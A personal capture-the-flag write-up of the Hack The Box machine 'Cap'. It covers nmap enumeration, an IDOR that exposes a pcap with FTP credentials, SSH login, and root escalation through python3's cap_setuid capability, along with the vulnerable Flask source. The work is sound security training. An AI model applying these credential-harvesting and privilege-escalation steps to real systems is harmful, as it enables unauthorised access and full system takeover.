Cap
Enumeration
1# Nmap 7.92 scan initiated Sun Jan 2 19:45:26 2022 as: nmap -sC -sV -oA nmap/scan 10.10.10.245 2Nmap scan report for 10.10.10.245 3Host is up (0.023s latency). 4Not shown: 997 closed tcp ports (conn-refused) 5PORT STATE SERVICE VERSION 621/tcp open ftp vsftpd 3.0.3 722/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 8| ssh-hostkey: 9| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA) 10| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA) 11|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519) 1280/tcp open http gunicorn 13|_http-server-header: gunicorn 14| fingerprint-strings: 15| FourOhFourRequest: 16| HTTP/1.0 404 NOT FOUND 17| Server: gunicorn 18| Date: Sun, 02 Jan 2022 08:46:45 GMT 19| Connection: close 20| Content-Type: text/html; charset=utf-8 21| Content-Length: 232 22| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> 23| <title>404 Not Found</title> 24| <SNIP...> 25| </body> 26|_ </html> 27|_http-title: Security Dashboard 281 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : 29SF-Port80-TCP:V=7.92%I=7%D=1/2%Time=61D1662E%P=x86_64-pc-linux-gnu%r(GetRe 30SF:quest,2FE5,"HTTP/1\.0\<SNIP...>\n"); 31Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel 32 33Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 34# Nmap done at Sun Jan 2 19:47:36 2022 -- 1 IP address (1 host up) scanned in 130.13 seconds
FTP is open, with no anonymous login allowed. Moving on to HTTP, I encounter a dashboard where I'm already logged in, despite finding no stored cookies and being unable to log out.
Clicking on IP config and Network status options on the left side piques my interest, as the machine seems to execute ifconfig and netstat for that information. Unable to find a way to poison values for RCE, I explore the Security Snapshot section, allowing me to download a pcap file.
Opening it initially reveals nothing captured, but changing the URL from to unveils a page with data, hinting at a maybe a potential IDOR vulnerability?
data/1
data/0
Opening the file in Wireshark, I observe data this time. Clicking reveals a single conversation on the network, unrelated to my network traffic.
statistics > Conversations
192.168.196.0
10.10...
In the TCP tab, most TCP streams talk on port 80 and contain exactly 10 packets, except for one on a different port and of varying length, standing out.
Following this stream reveals an attempted FTP login, providing a user and their password. Nathan's attempt to access a file, , also catches my attention.
notes.txt
Some Exploitation
Using the ftp credentials obtained from the traffic capture, I successfully logged into the ftp server and was able to retrieve the user flag after switch over to binary mode.
1┌──(tom㉿acer-computer)-[~/htb/cap] 2└─$ ftp 10.10.10.245 3Connected to 10.10.10.245. 4220 (vsFTPd 3.0.3) 5Name (10.10.10.245:tom): nathan 6331 Please specify the password. 7Password: 8230 Login successful. 9Remote system type is UNIX. 10Using binary mode to transfer files. 11ftp> ^C 12ftp>
Stuck on more enumeration
Stuck on further enumeration, I explore the dashboard's search feature to find additional leads. Testing for potential vulnerabilities, I attempt injecting bad characters, but it proves unsuccessful.
Opening Burp Suite, I experiment with alternative paths like /whoami instead of /netstat, yielding no results. Returning to the Security Snapshot page in hopes of finding more pcap files also ends in failure.
I suspect progress lies in locating the file; however, I'm unable to find any transmission of in the network traffic.
notes.txt
notes.txt
Hint From Walkthrough - ssh using nathans credentials
Priv esc
Successfully SSHed into the box as Nathan using his FTP credentials. Running reveals only Nathan and root as users. Checking for sudo privileges with shows that Nathan is not a part of the sudoers file. Attempting to switch to root using Nathan's password proves unsuccessful.
cat /etc/passwd | grep sh$
sudo -l
Examining the website's source code, I identify the framework as Flask, indicating it's written in Python. A particular function stands out, not only because of the comment left behind but also due to Python executing an OS command as uid 0, meaning it runs as root. This presents a potential avenue for privilege escalation.
1@app.route("/capture") 2@limiter.limit("10 per minute") 3def capture(): 4 5 get_lock() 6 pcapid = get_appid() 7 increment_appid() 8 release_lock() 9 10 path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap") 11 ip = request.remote_addr 12 # permissions issues with gunicorn and threads. hacky solution for now. 13 #os.setuid(0) 14 #command = f"timeout 5 tcpdump -w {path} -i any host {ip}" 15 command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'""" 16 os.system(command) 17 #os.setuid(1000) 18 19 return redirect("/data/" + str(pcapid))
Needing to inject my own commands into the identified Python function, I struggle to figure out the injection method and refer back to the walkthrough for guidance.
Walkthrough hint - run linpeas
Realising that Python 3.8 has cap_setuid set, it becomes apparent that setting the user ID in Python to 0 allows us to drop to a shell with elevated privileges.
1nathan@cap:~$ python3 2Python 3.8.5 (default, Jan 27 2021, 15:41:15) 3[GCC 9.3.0] on linux 4Type "help", "copyright", "credits" or "license" for more information. 5>>> import os 6>>> os.setuid(0) 7>>> os.system('/bin/bash') 8root@cap:~#
Priv esc turned out to be relatively simple, I definitely overthought it
Review/Take aways
- Nmap Scan Review: It would have been beneficial to revisit the Nmap scan results after obtaining Nathan's credentials. This could have prompted the realisation that SSH is running, leading to attempts to log in using those credentials.
- Tool Choice When Stuck: When encountering difficulties in poisoning values for server execution, opting to run linpeas for privilege escalation checks could have been more effective than immediately consulting the walkthrough for assistance.
- Understanding setuid: Recognising that for a user to utilise the setuid method to execute something as root, the user must either be root or possess the setuid capability could have provided valuable insights during the enumeration process.
Author: Thomas Karbowiak